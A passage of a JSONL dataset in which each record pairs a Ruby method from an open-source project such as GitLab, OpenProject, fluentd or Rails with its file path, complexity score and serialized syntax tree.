end","complexity_score":10.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alias_method\",{\"type\":\"sym\",\"children\":[\"__finish__\"]},{\"type\":\"sym\",\"children\":[\"finish\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_method\",{\"type\":\"sym\",\"children\":[\"finish\"]}]}]}]}]}","id":"451b3354-a016-487b-aa62-a8fe45776ae1"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/event_router.rb","start_line":129,"raw_source":"def match?(tag)\n !!find(tag)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},\"!\"]},\"!\"]}]}","id":"ab89efac-5266-4e3e-9166-bb15810ce44e"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/components/homescreen/link_component_spec.rb","start_line":34,"raw_source":"def render_component(...)\n render_inline(described_class.new(...))\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_component\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_inline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"fde455d9-b220-40e4-abc8-9cc4078602dc"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_syslog.rb","start_line":78,"raw_source":"def test_parse_rfc5452_with_priority(param)\n @parser.configure('with_priority' => true, 'parser_type' => param, 'message_format' => 'rfc5424')\n @parser.instance.parse('<30>1 2020-03-31T20:32:54Z myhostname 02abaf0687f5 10339 02abaf0687f5 - method=POST db=0.00') do |time, record|\n assert_equal(event_time('2020-03-31T20:32:54Z', format: '%Y-%m-%dT%H:%M:%S%z'), time)\n expected = { 'extradata' => '-', 'host' => 'myhostname', 'ident' => '02abaf0687f5', 'message' => 'method=POST db=0.00', 'msgid' => '02abaf0687f5', 'pid' => '10339', 'pri' => 30 }\n assert_equal(expected, record)\n end\n end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_rfc5452_with_priority\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"with_priority\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"parser_type\"]},{\"type\":\"lvar\",\"children\":[\"param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message_format\"]},{\"type\":\"str\",\"children\":[\"rfc5424\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"instance\"]},\"parse\",{\"type\":\"str\",\"children\":[\"<30>1 2020-03-31T20:32:54Z myhostname 02abaf0687f5 10339 02abaf0687f5 - method=POST db=0.00\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"2020-03-31T20:32:54Z\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%Y-%m-%dT%H:%M:%S%z\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"extradata\"]},{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"myhostname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ident\"]},{\"type\":\"str\",\"children\":[\"02abaf0687f5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"method=POST db=0.00\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"msgid\"]},{\"type\":\"str\",\"children\":[\"02abaf0687f5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pid\"]},{\"type\":\"str\",\"children\":[\"10339\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pri\"]},{\"type\":\"int\",\"children\":[30]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}]}","id":"0a6811a4-7cd1-4ad8-ae9c-5cc0adcd628f"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/contracts/time_entries/base_contract.rb","start_line":125,"raw_source":"def work_package_invisible?\n model.entity.nil? || !model.entity.visible?(user)\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_invisible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"entity\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"entity\"]},\"visible?\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"!\"]}]}]}","id":"58a6d292-7c87-4d39-abab-738354545ec2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/commit_presenter.rb","start_line":6,"raw_source":"def detailed_status_for(ref)\n return unless can?(current_user, :read_pipeline, commit.latest_pipeline(ref))\n return unless can?(current_user, :read_commit_status, commit.project)\n\n commit.latest_pipeline(ref)&.detailed_status(current_user)\n end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"detailed_status_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_pipeline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit\"]},\"latest_pipeline\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_commit_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit\"]},\"project\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit\"]},\"latest_pipeline\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]},\"detailed_status\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}","id":"02b9b304-6279-4785-8e30-b92b975f9611"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/avatars_helper.rb","start_line":114,"raw_source":"def avatar_without_link(resource, options = {})\n case resource\n when Namespaces::UserNamespace\n user_avatar_without_link(options.merge(user: resource.first_owner))\n when Group\n render Pajamas::AvatarComponent.new(resource, class: 'gl-avatar-circle gl-mr-3', size: 32)\n end\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar_without_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"UserNamespace\"]},{\"type\":\"send\",\"children\":[null,\"user_avatar_without_link\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"first_owner\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"AvatarComponent\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"gl-avatar-circle gl-mr-3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[32]}]}]}]}]}]},null]}]}","id":"4b57dcd4-a391-488e-949e-9128886cc181"} {"repo_name":"forem","file_path":"./repos/forem/app/mailers/digest_mailer.rb","start_line":54,"raw_source":"def random_emoji\n [\"🤓\", \"🎉\", \"🙈\", \"🔥\", \"💬\", \"👋\", \"👏\", \"🐶\", \"🦁\", \"🐙\", \"🦄\", \"❤️\", \"😇\"].shuffle.take(3).join\n end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"random_emoji\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"🤓\"]},{\"type\":\"str\",\"children\":[\"🎉\"]},{\"type\":\"str\",\"children\":[\"🙈\"]},{\"type\":\"str\",\"children\":[\"🔥\"]},{\"type\":\"str\",\"children\":[\"💬\"]},{\"type\":\"str\",\"children\":[\"👋\"]},{\"type\":\"str\",\"children\":[\"👏\"]},{\"type\":\"str\",\"children\":[\"🐶\"]},{\"type\":\"str\",\"children\":[\"🦁\"]},{\"type\":\"str\",\"children\":[\"🐙\"]},{\"type\":\"str\",\"children\":[\"🦄\"]},{\"type\":\"str\",\"children\":[\"❤️\"]},{\"type\":\"str\",\"children\":[\"😇\"]}]},\"shuffle\"]},\"take\",{\"type\":\"int\",\"children\":[3]}]},\"join\"]}]}","id":"09bb4020-a5f8-418b-8ac5-bf58e8aeacf4"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/users_controller.rb","start_line":66,"raw_source":"def index\n @groups = Group.all.sort\n @status = Users::UserFilterComponent.status_param params\n @users = Users::UserFilterComponent.filter params\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@groups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"all\"]},\"sort\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"UserFilterComponent\"]},\"status_param\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@users\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"UserFilterComponent\"]},\"filter\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}]}","id":"ee532e20-ea7e-4d42-afb8-01f38b99e2df"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/imap/providers/generic.rb","start_line":21,"raw_source":"def initialize(uid: nil, message_id: nil)\n @uid = uid\n @message_id = message_id\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"uid\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"message_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@uid\",{\"type\":\"lvar\",\"children\":[\"uid\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@message_id\",{\"type\":\"lvar\",\"children\":[\"message_id\"]}]}]}]}","id":"367c219b-1c80-4eb2-8aff-653d4bda2522"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/stream.rb","start_line":35,"raw_source":"def path\n self.stream.path if self.stream.respond_to?(:path)\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"stream\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"stream\"]},\"path\"]},null]}]}","id":"1d39c15b-9b05-485b-b1c3-2cb99f5ad311"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/repository_update_remote_mirror_worker.rb","start_line":45,"raw_source":"def update_mirror(mirror, tries)\n project = mirror.project\n current_user = project.creator\n result = Projects::UpdateRemoteMirrorService.new(project, current_user).execute(mirror, tries)\n\n if result[:status] == :error && mirror.to_retry?\n schedule_retry(mirror, tries)\n end\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_mirror\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mirror\"]},{\"type\":\"arg\",\"children\":[\"tries\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mirror\"]},\"project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"creator\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"UpdateRemoteMirrorService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"mirror\"]},{\"type\":\"lvar\",\"children\":[\"tries\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mirror\"]},\"to_retry?\"]}]},{\"type\":\"send\",\"children\":[null,\"schedule_retry\",{\"type\":\"lvar\",\"children\":[\"mirror\"]},{\"type\":\"lvar\",\"children\":[\"tries\"]}]},null]}]}]}","id":"1fca09ca-8604-495c-b9a6-11fa8df51934"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250808121704_add_covering_reindex_to_zoekt_repositories.rb","start_line":21,"raw_source":"def down\n add_concurrent_index(TABLE_NAME, %i[zoekt_index_id state], name: OLD_INDEX_NAME)\n remove_concurrent_index_by_name(TABLE_NAME, NEW_INDEX_NAME)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"zoekt_index_id\"]},{\"type\":\"sym\",\"children\":[\"state\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"OLD_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"NEW_INDEX_NAME\"]}]}]}]}","id":"bf7d2d25-0448-47f7-93a6-658c8b89e96b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/replica_per_worker.rb","start_line":12,"raw_source":"def delete_container_objects\n ContainerOrchestrator.new.delete_deployment(worker_deployment_name)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_container_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerOrchestrator\"]},\"new\"]},\"delete_deployment\",{\"type\":\"send\",\"children\":[null,\"worker_deployment_name\"]}]}]}","id":"f088b778-ab0a-4cfd-b859-6e7421743bd3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/load_balancer.rb","start_line":400,"raw_source":"def raise_if_concurrent_ruby!\n Gitlab::Utils.raise_if_concurrent_ruby!(:db)\n rescue StandardError => e\n Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_if_concurrent_ruby!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"raise_if_concurrent_ruby!\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_and_raise_for_dev_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"9f7501a0-8800-4ed9-a8c1-3765bdf7b929"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/date_picker/dialog_content_component.rb","start_line":100,"raw_source":"def finish_date_message\n \"#{WorkPackage.human_attribute_name(:due_date)}: #{work_package.due_date}\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finish_date_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"human_attribute_name\",{\"type\":\"sym\",\"children\":[\"due_date\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"due_date\"]}]}]}]}","id":"58720aae-42b8-4f83-ae7d-232c0f7ec263"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/journal_formatter/cause.rb","start_line":37,"raw_source":"def render(_key, values, options = { html: true })\n @cause = values.last\n @html = options[:html]\n\n \"#{caused_change} #{cause_description}\"\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_key\"]},{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cause\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"last\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"html\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caused_change\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cause_description\"]}]}]}]}]}","id":"23134891-6040-4caa-bd1e-f09ae5f44765"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/increment_tag_test.rb","start_line":8,"raw_source":"def test_inc\n assert_template_result('0 1', '{%increment port %} {{ port }}')\n assert_template_result(' 0 1 2', '{{port}} {%increment port %} {%increment port%} {{port}}')\n assert_template_result(\n '0 0 1 2 1',\n '{%increment port %} {%increment starboard%} ' \\\n '{%increment port %} {%increment port%} ' \\\n '{%increment starboard %}',\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"0 1\"]},{\"type\":\"str\",\"children\":[\"{%increment port %} {{ port }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\" 0 1 2\"]},{\"type\":\"str\",\"children\":[\"{{port}} {%increment port %} {%increment port%} {{port}}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"0 0 1 2 1\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{%increment port %} {%increment starboard%} \"]},{\"type\":\"str\",\"children\":[\"{%increment port %} {%increment port%} \"]},{\"type\":\"str\",\"children\":[\"{%increment starboard %}\"]}]}]}]}]}","id":"5b355874-12e3-42cc-bcac-dc597fbf12b7"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":52,"raw_source":"def test_deep_transform_keys\n assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys { |key| key.to_s.upcase }\n assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys { |key| key.to_s.upcase }\n assert_equal @nested_upcase_strings, @nested_mixed.deep_transform_keys { |key| key.to_s.upcase }\n assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_transform_keys { |key| key.to_s.upcase }\n assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_transform_keys { |key| key.to_s.upcase }\n assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_transform_keys { |key| key.to_s.upcase }\n end","complexity_score":37.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deep_transform_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@nested_upcase_strings\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nested_symbols\"]},\"deep_transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@nested_upcase_strings\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nested_strings\"]},\"deep_transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@nested_upcase_strings\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nested_mixed\"]},\"deep_transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@upcase_array_of_hashes\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@string_array_of_hashes\"]},\"deep_transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@upcase_array_of_hashes\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@symbol_array_of_hashes\"]},\"deep_transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@upcase_array_of_hashes\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mixed_array_of_hashes\"]},\"deep_transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"upcase\"]}]}]}]}]}","id":"3768f8f5-5aa6-46f1-9ff3-24cb97cafc1f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/bulk_imports/finish_batched_pipeline_worker.rb","start_line":18,"raw_source":"def perform(pipeline_tracker_id)\n @tracker = Tracker.find(pipeline_tracker_id)\n @context = ::BulkImports::Pipeline::Context.new(tracker)\n\n return unless tracker.batched? && tracker.started?\n\n @sorted_batches = tracker.batches.by_last_updated\n return fail_stale_tracker_and_batches if most_recent_batch_stale?\n\n return re_enqueue if import_in_progress?\n\n tracker.pipeline_class.new(@context).on_finish\n logger.info(log_attributes(message: 'Tracker finished'))\n tracker.finish!\n end","complexity_score":33.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline_tracker_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tracker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tracker\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"pipeline_tracker_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"BulkImports\"]},\"Pipeline\"]},\"Context\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"tracker\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"batched?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"started?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@sorted_batches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"batches\"]},\"by_last_updated\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[nul